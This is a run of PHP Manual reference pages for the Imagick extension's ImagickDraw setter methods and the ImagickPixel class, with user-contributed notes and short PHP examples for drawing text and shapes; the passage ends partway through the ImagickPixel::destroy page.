ImagickDraw::setClipPath
ImagickDraw


Associates a named clipping path with the image

ImagickDraw::scale
ImagickDraw::setClipRule
ImagickDraw
PHP Manual

ImagickDraw::setClipPath

(PECL imagick 2.0.0)

ImagickDraw::setClipPath — Associates a named clipping path with the image

Description

bool ImagickDraw::setClipPath ( string $clip_mask )
Warning

This function is currently not documented; only its argument list is available.

Associates a named clipping path with the image. Only the areas drawn on by the clipping path will be modified as long as it remains in effect.

Parameters

clip_mask

the clipping path name

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::scale
ImagickDraw::setClipRule
ImagickDraw


Set the polygon fill rule to be used by the clipping path

ImagickDraw::setClipPath
ImagickDraw::setClipUnits
ImagickDraw
PHP Manual

ImagickDraw::setClipRule

(PECL imagick 2.0.0)

ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path

Description

bool ImagickDraw::setClipRule ( int $fill_rule )
Warning

This function is currently not documented; only its argument list is available.

Set the polygon fill rule to be used by the clipping path.

Parameters

fill_rule

FILLRULE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setClipPath
ImagickDraw::setClipUnits
ImagickDraw


Sets the interpretation of clip path units

ImagickDraw::setClipRule
ImagickDraw::setFillAlpha
ImagickDraw
PHP Manual

ImagickDraw::setClipUnits

(PECL imagick 2.0.0)

ImagickDraw::setClipUnits — Sets the interpretation of clip path units

Description

bool ImagickDraw::setClipUnits ( int $clip_units )
Warning

This function is currently not documented; only its argument list is available.

Sets the interpretation of clip path units.

Parameters

clip_units

the number of clip units

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setClipRule
ImagickDraw::setFillAlpha
ImagickDraw


Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setClipUnits
ImagickDraw::setFillColor
ImagickDraw
PHP Manual

ImagickDraw::setFillAlpha

(PECL imagick 2.0.0)

ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture

Description

bool ImagickDraw::setFillAlpha ( float $opacity )
Warning

This function is currently not documented; only its argument list is available.

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

Parameters

opacity

fill alpha

Return Values

No value is returned.

User Contributed Notes

Mark van der Velden 06-Dec-2007 01:37
setFillAlpha is deprecated use the replacement: setFillOpacity
ImagickDraw::setClipUnits
ImagickDraw::setFillColor
ImagickDraw


Sets the fill color to be used for drawing filled objects

ImagickDraw::setFillAlpha
ImagickDraw::setFillOpacity
ImagickDraw
PHP Manual

ImagickDraw::setFillColor

(PECL imagick 2.0.0)

ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects

Description

bool ImagickDraw::setFillColor ( ImagickPixel $fill_pixel )
Warning

This function is currently not documented; only its argument list is available.

Sets the fill color to be used for drawing filled objects.

Parameters

fill_pixel

ImagickPixel to use to set the color

Return Values

No value is returned.

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:00
It also accepts color definitions by name and hexa, as in

<?php
$draw = new ImagickDraw();

/* defined color black */
$draw->setFillColor('black');

/* some light brown */
$draw->setFillColor('#a4610f');

?>
ImagickDraw::setFillAlpha
ImagickDraw::setFillOpacity
ImagickDraw


Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setFillColor
ImagickDraw::setFillPatternURL
ImagickDraw
PHP Manual

ImagickDraw::setFillOpacity

(PECL imagick 2.0.0)

ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture

Description

bool ImagickDraw::setFillOpacity ( float $fillOpacity )
Warning

This function is currently not documented; only its argument list is available.

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

Parameters

fillOpacity

the fill opacity

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFillColor
ImagickDraw::setFillPatternURL
ImagickDraw


Sets the URL to use as a fill pattern for filling objects

ImagickDraw::setFillOpacity
ImagickDraw::setFillRule
ImagickDraw
PHP Manual

ImagickDraw::setFillPatternURL

(PECL imagick 2.0.0)

ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects

Description

bool ImagickDraw::setFillPatternURL ( string $fill_url )
Warning

This function is currently not documented; only its argument list is available.

Sets the URL to use as a fill pattern for filling objects. Only local URLs ("#identifier") are supported at this time. These local URLs are normally created by defining a named fill pattern with DrawPushPattern/DrawPopPattern.

Parameters

fill_url

URL to use to obtain fill pattern.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFillOpacity
ImagickDraw::setFillRule
ImagickDraw


Sets the fill rule to use while drawing polygons

ImagickDraw::setFillPatternURL
ImagickDraw::setFont
ImagickDraw
PHP Manual

ImagickDraw::setFillRule

(PECL imagick 2.0.0)

ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons

Description

bool ImagickDraw::setFillRule ( int $fill_rule )
Warning

This function is currently not documented; only its argument list is available.

Sets the fill rule to use while drawing polygons.

Parameters

fill_rule

FILLRULE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFillPatternURL
ImagickDraw::setFont
ImagickDraw


Sets the fully-specified font to use when annotating with text

ImagickDraw::setFillRule
ImagickDraw::setFontFamily
ImagickDraw
PHP Manual

ImagickDraw::setFont

(PECL imagick 2.0.0)

ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text

Description

bool ImagickDraw::setFont ( string $font_name )
Warning

This function is currently not documented; only its argument list is available.

Sets the fully-specified font to use when annotating with text.

Parameters

font_name

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous 06-Apr-2011 05:54
To get a list of fonts that ImageMagick knows about, enter this from a cmd shell:
 convert -list font
zombiebovine at gmail dot com 14-Sep-2009 05:49
The only acceptable parameters I've been able to use are the location, relative to site root, of a font file.

e.g,
$draw->setFont("fonts/arial.ttf");
ImagickDraw::setFillRule
ImagickDraw::setFontFamily
ImagickDraw


Sets the font family to use when annotating with text

ImagickDraw::setFont
ImagickDraw::setFontSize
ImagickDraw
PHP Manual

ImagickDraw::setFontFamily

(PECL imagick 2.0.0)

ImagickDraw::setFontFamily — Sets the font family to use when annotating with text

Description

bool ImagickDraw::setFontFamily ( string $font_family )
Warning

This function is currently not documented; only its argument list is available.

Sets the font family to use when annotating with text.

Parameters

font_family

the font family

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFont
ImagickDraw::setFontSize
ImagickDraw


Sets the font pointsize to use when annotating with text

ImagickDraw::setFontFamily
ImagickDraw::setFontStretch
ImagickDraw
PHP Manual

ImagickDraw::setFontSize

(PECL imagick 2.0.0)

ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text

Description

bool ImagickDraw::setFontSize ( float $pointsize )
Warning

This function is currently not documented; only its argument list is available.

Sets the font pointsize to use when annotating with text.

Parameters

pointsize

the point size

Return Values

No value is returned.

User Contributed Notes

hmkrox at gmail dot com 03-Aug-2009 07:10
The font size taken in parameter is not the size in point (1 point = 1/72 inch) but the font's height in pixel.
Therefore you should do a conversion to have the correct font size if you want to modify a document destined to print.
For example, if your document's resolution is 300ppi, you should add a 25/6 multiplying factor to your fontsize in order to have a correct behaviour of the font.
jgsujith at in dot com 15-Jul-2009 06:23
<?php
$sourceFile='in.jpg';
$textWrite='God is Great';
$x=50;
$y=50;
$fontColor='#000000';
$fontSize=34;

$colorPix=new ImagickPixel ($fontColor);
$image=new Imagick ($sourceFile);
$draw=new ImagickDraw();

$draw->setFontSize($fontSize);//Sets the font pointsize to use when annotating with text

$draw->setFillColor($colorPix);//Sets the fill color to be used for drawing filled objects

$image->annotateImage($draw,$x,$y,0,$textWrite);//Annotates an image with text

$image->writeImage('out.jpg');//Writes an image to the specified filename
?>
ImagickDraw::setFontFamily
ImagickDraw::setFontStretch
ImagickDraw


Sets the font stretch to use when annotating with text

ImagickDraw::setFontSize
ImagickDraw::setFontStyle
ImagickDraw
PHP Manual

ImagickDraw::setFontStretch

(PECL imagick 2.0.0)

ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text

Description

bool ImagickDraw::setFontStretch ( int $fontStretch )
Warning

This function is currently not documented; only its argument list is available.

Sets the font stretch to use when annotating with text. The AnyStretch enumeration acts as a wild-card "don't care" option.

Parameters

fontStretch

STRETCH_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFontSize
ImagickDraw::setFontStyle
ImagickDraw


Sets the font style to use when annotating with text

ImagickDraw::setFontStretch
ImagickDraw::setFontWeight
ImagickDraw
PHP Manual

ImagickDraw::setFontStyle

(PECL imagick 2.0.0)

ImagickDraw::setFontStyle — Sets the font style to use when annotating with text

Description

bool ImagickDraw::setFontStyle ( int $style )
Warning

This function is currently not documented; only its argument list is available.

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

Parameters

style

STYLETYPE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setFontStretch
ImagickDraw::setFontWeight
ImagickDraw


Sets the font weight

ImagickDraw::setFontStyle
ImagickDraw::setGravity
ImagickDraw
PHP Manual

ImagickDraw::setFontWeight

(PECL imagick 2.0.0)

ImagickDraw::setFontWeight — Sets the font weight

Description

bool ImagickDraw::setFontWeight ( int $font_weight )
Warning

This function is currently not documented; only its argument list is available.

Sets the font weight to use when annotating with text.

Parameters

font_weight

Return Values

User Contributed Notes

skmanji at manji dot org 26-May-2009 05:15
Valid Range 100-900. I found that any value 551 and above would give me bold.
ImagickDraw::setFontStyle
ImagickDraw::setGravity
ImagickDraw


Sets the text placement gravity

ImagickDraw::setFontWeight
ImagickDraw::setStrokeAlpha
ImagickDraw
PHP Manual

ImagickDraw::setGravity

(PECL imagick 2.0.0)

ImagickDraw::setGravity — Sets the text placement gravity

Description

bool ImagickDraw::setGravity ( int $gravity )
Warning

This function is currently not documented; only its argument list is available.

Sets the text placement gravity to use when annotating with text.

Parameters

gravity

GRAVITY_ constant

Return Values

No value is returned.

User Contributed Notes

alan at ridersite dot org 28-Aug-2007 07:51
Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.

For example:
$draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 0, 0, 0, 'The quick brown fox jumps over the lazy dog');

Will horizontally and vertically center the text string.

Note, there are several gravity constants available. See, Constants — Imagick class constants
ImagickDraw::setFontWeight
ImagickDraw::setStrokeAlpha
ImagickDraw


Specifies the opacity of stroked object outlines

ImagickDraw::setGravity
ImagickDraw::setStrokeAntialias
ImagickDraw
PHP Manual

ImagickDraw::setStrokeAlpha

(PECL imagick 2.0.0)

ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines

Description

bool ImagickDraw::setStrokeAlpha ( float $opacity )
Warning

This function is currently not documented; only its argument list is available.

Specifies the opacity of stroked object outlines.

Parameters

opacity

opacity

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setGravity
ImagickDraw::setStrokeAntialias
ImagickDraw


Controls whether stroked outlines are antialiased

ImagickDraw::setStrokeAlpha
ImagickDraw::setStrokeColor
ImagickDraw
PHP Manual

ImagickDraw::setStrokeAntialias

(PECL imagick 2.0.0)

ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased

Description

bool ImagickDraw::setStrokeAntialias ( bool $stroke_antialias )
Warning

This function is currently not documented; only its argument list is available.

Controls whether stroked outlines are antialiased. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

Parameters

stroke_antialias

the antialias setting

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeAlpha
ImagickDraw::setStrokeColor
ImagickDraw


Sets the color used for stroking object outlines

ImagickDraw::setStrokeAntialias
ImagickDraw::setStrokeDashArray
ImagickDraw
PHP Manual

ImagickDraw::setStrokeColor

(PECL imagick 2.0.0)

ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines

Description

bool ImagickDraw::setStrokeColor ( ImagickPixel $stroke_pixel )
Warning

This function is currently not documented; only its argument list is available.

Sets the color used for stroking object outlines.

Parameters

stroke_pixel

the stroke color

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeAntialias
ImagickDraw::setStrokeDashArray
ImagickDraw


Specifies the pattern of dashes and gaps used to stroke paths

ImagickDraw::setStrokeColor
ImagickDraw::setStrokeDashOffset
ImagickDraw
PHP Manual

ImagickDraw::setStrokeDashArray

(PECL imagick 2.0.0)

ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths

Description

bool ImagickDraw::setStrokeDashArray ( array $dashArray )
Warning

This function is currently not documented; only its argument list is available.

Specifies the pattern of dashes and gaps used to stroke paths. The strokeDashArray represents an array of numbers that specify the lengths of alternating dashes and gaps in pixels. If an odd number of values is provided, then the list of values is repeated to yield an even number of values. To remove an existing dash array, pass a zero number_elements argument and null dash_array. A typical strokeDashArray_ array might contain the members 5 3 2.

Parameters

dashArray

array of floats

Return Values

Returns TRUE on success.

User Contributed Notes

andrew at ierbsolutions dot co dot uk 22-Oct-2008 02:11
Example:

<?php
$base_image = new Imagick('example.png');
$rect = new ImagickDraw();
$rect->setFillColor(new ImagickPixel("#EEEEEE"));
$rect->setFillOpacity(0);
$rect->setStrokeColor(new ImagickPixel("#FF0000"));
$rect->setStrokeDashArray(array(5,5,5));
$rect->rectangle(10, 10, 100, 100);
$base_image->drawImage($rect);

header('Content-type: image/png');
echo $base_image->getImage();
exit();
?>
ImagickDraw::setStrokeColor
ImagickDraw::setStrokeDashOffset
ImagickDraw


Specifies the offset into the dash pattern to start the dash

ImagickDraw::setStrokeDashArray
ImagickDraw::setStrokeLineCap
ImagickDraw
PHP Manual

ImagickDraw::setStrokeDashOffset

(PECL imagick 2.0.0)

ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash

Description

bool ImagickDraw::setStrokeDashOffset ( float $dash_offset )
Warning

This function is currently not documented; only its argument list is available.

Specifies the offset into the dash pattern to start the dash.

Parameters

dash_offset

dash offset

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeDashArray
ImagickDraw::setStrokeLineCap
ImagickDraw


Specifies the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::setStrokeDashOffset
ImagickDraw::setStrokeLineJoin
ImagickDraw
PHP Manual

ImagickDraw::setStrokeLineCap

(PECL imagick 2.0.0)

ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked

Description

bool ImagickDraw::setStrokeLineCap ( int $linecap )
Warning

This function is currently not documented; only its argument list is available.

Specifies the shape to be used at the end of open subpaths when they are stroked.

Parameters

linecap

LINECAP_ constant

Return Values

No value is returned.

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:35
Possible values are:

LINEJOIN_UNDEFINED
LINEJOIN_MITER
LINEJOIN_ROUND
LINEJOIN_BEVEL

...all prefixed with Imagick:: like:

Imagick::LINEJOIN_ROUND
ImagickDraw::setStrokeDashOffset
ImagickDraw::setStrokeLineJoin
ImagickDraw


Specifies the shape to be used at the corners of paths when they are stroked

ImagickDraw::setStrokeLineCap
ImagickDraw::setStrokeMiterLimit
ImagickDraw
PHP Manual

ImagickDraw::setStrokeLineJoin

(PECL imagick 2.0.0)

ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked

Description

bool ImagickDraw::setStrokeLineJoin ( int $linejoin )
Warning

This function is currently not documented; only its argument list is available.

Specifies the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

Parameters

linejoin

LINEJOIN_ constant

Return Values

No value is returned.

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:32
For many (myself included) Rex's note maybe not be blatant enough. The constants are declared for the Imagick class only, so using them requires this syntax: Imagick::LINEJOIN_ constant

Here's an example oh how you might use it:

<?php
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));
$draw = new ImagickDraw();
$draw->setStrokeLineJoin(Imagick::LINEJOIN_ROUND);
?>

If you're not drawing polylines and are drawing simple lines, also see setStrokeLineCap
Rex Schrader 17-May-2009 08:36
From imagick_helpers.c (pecl release), possible values are:
  LINEJOIN_UNDEFINED
  LINEJOIN_MITER
  LINEJOIN_ROUND
  LINEJOIN_BEVEL
ImagickDraw::setStrokeLineCap
ImagickDraw::setStrokeMiterLimit
ImagickDraw


Specifies the miter limit

ImagickDraw::setStrokeLineJoin
ImagickDraw::setStrokeOpacity
ImagickDraw
PHP Manual

ImagickDraw::setStrokeMiterLimit

(PECL imagick 2.0.0)

ImagickDraw::setStrokeMiterLimit — Specifies the miter limit

Description

bool ImagickDraw::setStrokeMiterLimit ( int $miterlimit )
Warning

This function is currently not documented; only its argument list is available.

Specifies the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

Parameters

miterlimit

the miter limit

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeLineJoin
ImagickDraw::setStrokeOpacity
ImagickDraw


Specifies the opacity of stroked object outlines

ImagickDraw::setStrokeMiterLimit
ImagickDraw::setStrokePatternURL
ImagickDraw
PHP Manual

ImagickDraw::setStrokeOpacity

(PECL imagick 2.0.0)

ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines

Description

bool ImagickDraw::setStrokeOpacity ( float $stroke_opacity )
Warning

This function is currently not documented; only its argument list is available.

Specifies the opacity of stroked object outlines.

Parameters

stroke_opacity

stroke opacity. 1.0 is fully opaque

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeMiterLimit
ImagickDraw::setStrokePatternURL
ImagickDraw


Sets the pattern used for stroking object outlines

ImagickDraw::setStrokeOpacity
ImagickDraw::setStrokeWidth
ImagickDraw
PHP Manual

ImagickDraw::setStrokePatternURL

(PECL imagick 2.0.0)

ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines

Description

bool ImagickDraw::setStrokePatternURL ( string $stroke_url )
Warning

This function is currently not documented; only its argument list is available.

Sets the pattern used for stroking object outlines.

Parameters

stroke_url

stroke URL

Return Values

imagick.imagickdraw.return.success;

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setStrokeOpacity
ImagickDraw::setStrokeWidth
ImagickDraw


Sets the width of the stroke used to draw object outlines

ImagickDraw::setStrokePatternURL
ImagickDraw::setTextAlignment
ImagickDraw
PHP Manual

ImagickDraw::setStrokeWidth

(PECL imagick 2.0.0)

ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines

Description

bool ImagickDraw::setStrokeWidth ( float $stroke_width )
Warning

This function is currently not documented; only its argument list is available.

Sets the width of the stroke used to draw object outlines.

Parameters

stroke_width

stroke width

Return Values

No value is returned.

User Contributed Notes

Peter - the Pete - de Pijd 09-Jul-2009 02:31
If you set the stroke width to 0, there will often still be a hairline. To remove this hairline, use transparency, f.e. using:
setStrokeColor("#00000000")
hex 0-6 = color -> black
hex 6-8 = opacity -> full transparency
r dot vinke at gmail dot com 03-Nov-2008 06:27
Please note that this function only works (as in: the stroke width changes) when setStrokeColor() is called before.
ImagickDraw::setStrokePatternURL
ImagickDraw::setTextAlignment
ImagickDraw


Specifies a text alignment

ImagickDraw::setStrokeWidth
ImagickDraw::setTextAntialias
ImagickDraw
PHP Manual

ImagickDraw::setTextAlignment

(PECL imagick 2.0.0)

ImagickDraw::setTextAlignment — Specifies a text alignment

Description

bool ImagickDraw::setTextAlignment ( int $alignment )
Warning

This function is currently not documented; only its argument list is available.

Specifies a text alignment to be applied when annotating with text.

Parameters

alignment

ALIGN_ constant

Return Values

No value is returned.

User Contributed Notes

sebastian dot mayer at maysoft dot de 26-Feb-2009 08:33
<?php

   define("LEFT", 1);
   define("CENTER", 2);
   define("RIGHT", 3);

   $w = 400;
   $h = 200;
   $gradient = new Imagick();
   $gradient->newPseudoImage($w, $h, "gradient:red-black");

   $draw = new ImagickDraw();
   $draw->setFontSize(12);
   $draw->setFillColor(new ImagickPixel("#ffffff"));

   $draw->setTextAlignment(LEFT);
   $draw->annotation(150, 30, "Hello World1!");
   $draw->setTextAlignment(CENTER);
   $draw->annotation(150, 50, "Hello World2!");
   $draw->setTextAlignment(RIGHT);
   $draw->annotation(150, 70, "Hello World3!");

   $draw->setFillColor(new ImagickPixel("#0000aa"));
   $x1 = 150;
   $x2 = 150;
   $y1 = 0;
   $y2 = 200;
   $draw->rectangle($x1, $y1, $x2, $y2);

   $gradient->drawImage($draw);

   $gradient->setImageFormat("png");
   header("Content-Type: image/png");
   echo $gradient;
?>
ImagickDraw::setStrokeWidth
ImagickDraw::setTextAntialias
ImagickDraw


Controls whether text is antialiased

ImagickDraw::setTextAlignment
ImagickDraw::setTextDecoration
ImagickDraw
PHP Manual

ImagickDraw::setTextAntialias

(PECL imagick 2.0.0)

ImagickDraw::setTextAntialias — Controls whether text is antialiased

Description

bool ImagickDraw::setTextAntialias ( bool $antiAlias )
Warning

This function is currently not documented; only its argument list is available.

Controls whether text is antialiased. Text is antialiased by default.

Parameters

antiAlias

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setTextAlignment
ImagickDraw::setTextDecoration
ImagickDraw


Specifies a decoration

ImagickDraw::setTextAntialias
ImagickDraw::setTextEncoding
ImagickDraw
PHP Manual

ImagickDraw::setTextDecoration

(PECL imagick 2.0.0)

ImagickDraw::setTextDecoration — Specifies a decoration

Description

bool ImagickDraw::setTextDecoration ( int $decoration )
Warning

This function is currently not documented; only its argument list is available.

Specifies a decoration to be applied when annotating with text.

Parameters

decoration

DECORATION_ constant

Return Values

No value is returned.

User Contributed Notes

mark-paspirgilis at web dot de 12-Jan-2011 09:41
Hi, guys.
I was looking half the day for a documentation about how to set the damn underline...
I found it out myself now.. happy to be able to share my new knowledge with you out there.
$decoration can be those:

1  -  Text will be normal
2  -  Underline
3  -  Upperline
4  -  Stroke-through

regards,
Mark Paspirgilis
ImagickDraw::setTextAntialias
ImagickDraw::setTextEncoding
ImagickDraw


Specifies specifies the text code set

ImagickDraw::setTextDecoration
ImagickDraw::setTextUnderColor
ImagickDraw
PHP Manual

ImagickDraw::setTextEncoding

(PECL imagick 2.0.0)

ImagickDraw::setTextEncoding — Specifies specifies the text code set

Description

bool ImagickDraw::setTextEncoding ( string $encoding )
Warning

This function is currently not documented; only its argument list is available.

Specifies specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

Parameters

encoding

the encoding name

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setTextDecoration
ImagickDraw::setTextUnderColor
ImagickDraw


Specifies the color of a background rectangle

ImagickDraw::setTextEncoding
ImagickDraw::setVectorGraphics
ImagickDraw
PHP Manual

ImagickDraw::setTextUnderColor

(PECL imagick 2.0.0)

ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle

Description

bool ImagickDraw::setTextUnderColor ( ImagickPixel $under_color )
Warning

This function is currently not documented; only its argument list is available.

Specifies the color of a background rectangle to place under text annotations.

Parameters

under_color

the under color

Return Values

No value is returned.

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 09:01
When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php

    $draw = new ImagickDraw();
    $draw->setFillColor('#ffff00');
    $draw->setFont('Eurostile');
    $draw->setFontSize(21);
    $draw->setTextUnderColor('#ff000088');
    $picin->annotateImage($draw,40,$height-10,0,"Hallo");

?>

The example code produces yellow text on a semi-transparent red background.
ImagickDraw::setTextEncoding
ImagickDraw::setVectorGraphics
ImagickDraw


Sets the vector graphics

ImagickDraw::setTextUnderColor
ImagickDraw::setViewbox
ImagickDraw
PHP Manual

ImagickDraw::setVectorGraphics

(PECL imagick 2.0.0)

ImagickDraw::setVectorGraphics — Sets the vector graphics

Description

bool ImagickDraw::setVectorGraphics ( string $xml )
Warning

This function is currently not documented; only its argument list is available.

Sets the vector graphics associated with the specified ImagickDraw object. Use this method with ImagickDraw::getVectorGraphics() as a method to persist the vector graphics state.

Parameters

xml

xml containing the vector graphics

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setTextUnderColor
ImagickDraw::setViewbox
ImagickDraw


Sets the overall canvas size

ImagickDraw::setVectorGraphics
ImagickDraw::skewX
ImagickDraw
PHP Manual

ImagickDraw::setViewbox

(PECL imagick 2.0.0)

ImagickDraw::setViewbox — Sets the overall canvas size

Description

bool ImagickDraw::setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 )
Warning

This function is currently not documented; only its argument list is available.

Sets the overall canvas size to be recorded with the drawing vector data. Usually this will be specified using the same size as the canvas image. When the vector data is saved to SVG or MVG formats, the viewbox is use to specify the size of the canvas image that a viewer will render the vector data on.

Parameters

x1

left x coordinate

y1

left y coordinate

x2

right x coordinate

y2

right y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setVectorGraphics
ImagickDraw::skewX
ImagickDraw


Skews the current coordinate system in the horizontal direction

ImagickDraw::setViewbox
ImagickDraw::skewY
ImagickDraw
PHP Manual

ImagickDraw::skewX

(PECL imagick 2.0.0)

ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction

Description

bool ImagickDraw::skewX ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Skews the current coordinate system in the horizontal direction.

Parameters

degrees

degrees to skew

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::setViewbox
ImagickDraw::skewY
ImagickDraw


Skews the current coordinate system in the vertical direction

ImagickDraw::skewX
ImagickDraw::translate
ImagickDraw
PHP Manual

ImagickDraw::skewY

(PECL imagick 2.0.0)

ImagickDraw::skewY — Skews the current coordinate system in the vertical direction

Description

bool ImagickDraw::skewY ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Skews the current coordinate system in the vertical direction.

Parameters

degrees

degrees to skew

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::skewX
ImagickDraw::translate
ImagickDraw


Applies a translation to the current coordinate system

ImagickDraw::skewY
ImagickPixel
ImagickDraw
PHP Manual

ImagickDraw::translate

(PECL imagick 2.0.0)

ImagickDraw::translate — Applies a translation to the current coordinate system

Description

bool ImagickDraw::translate ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Applies a translation to the current coordinate system which moves the coordinate system origin to the specified coordinate.

Parameters

x

horizontal translation

y

vertical translation

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::skewY
ImagickPixel
ImagickDraw


The ImagickPixel class

(No version information available, might only be in SVN)

Class synopsis

ImagickPixel {
bool clear ( void )
__construct ([ string $color ] )
bool destroy ( void )
array getColor ([ bool $normalized = false ] )
string getColorAsString ( void )
int getColorCount ( void )
float getColorValue ( int $color )
array getHSL ( void )
bool isSimilar ( ImagickPixel $color , float $fuzz )
bool setColor ( string $color )
bool setColorValue ( int $color , float $value )
bool setHSL ( float $hue , float $saturation , float $luminosity )
}

Table of Contents

  • ImagickPixel::clear — Clears resources associated with this object
  • ImagickPixel::__construct — The ImagickPixel constructor
  • ImagickPixel::destroy — Deallocates resources associated with this object
  • ImagickPixel::getColor — Returns the color
  • ImagickPixel::getColorAsString — Returns the color as a string
  • ImagickPixel::getColorCount — Returns the color count associated with this color
  • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
  • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
  • ImagickPixel::isSimilar — Check the distance between this color and another
  • ImagickPixel::setColor — Sets the color
  • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
  • ImagickPixel::setHSL — Sets the normalized HSL color

User Contributed Notes

There are no user contributed notes for this page.
ImagickDraw::translate
ImagickPixel::clear
ImageMagick


Clears resources associated with this object

ImagickPixel
ImagickPixel::__construct
ImagickPixel
PHP Manual

ImagickPixel::clear

(PECL imagick 2.0.0)

ImagickPixel::clear — Clears resources associated with this object

Description

bool ImagickPixel::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clears the ImagickPixel object, leaving it in a fresh state. This also unsets any color associated with the object.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel
ImagickPixel::__construct
ImagickPixel


The ImagickPixel constructor

ImagickPixel::clear
ImagickPixel::destroy
ImagickPixel
PHP Manual

ImagickPixel::__construct

(PECL imagick 2.0.0)

ImagickPixel::__construct — The ImagickPixel constructor

Description

ImagickPixel::__construct ([ string $color ] )
Warning

This function is currently not documented; only its argument list is available.

Constructs an ImagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

Parameters

color

The optional color string to use as the initial value of this object.

Return Values

Returns an ImagickPixel object on success, throwing ImagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.
ImagickPixel::clear
ImagickPixel::destroy
ImagickPixel


Deallocates resources associated with this object

ImagickPixel::__construct
ImagickPixel::getColor
ImagickPixel
PHP Manual

ImagickPixel::destroy

(PECL imagick 2.0.0)

ImagickPixel::destroy — Deallocates resources associated with this object

Description

bool ImagickPixel::destroy ( void )
Warning

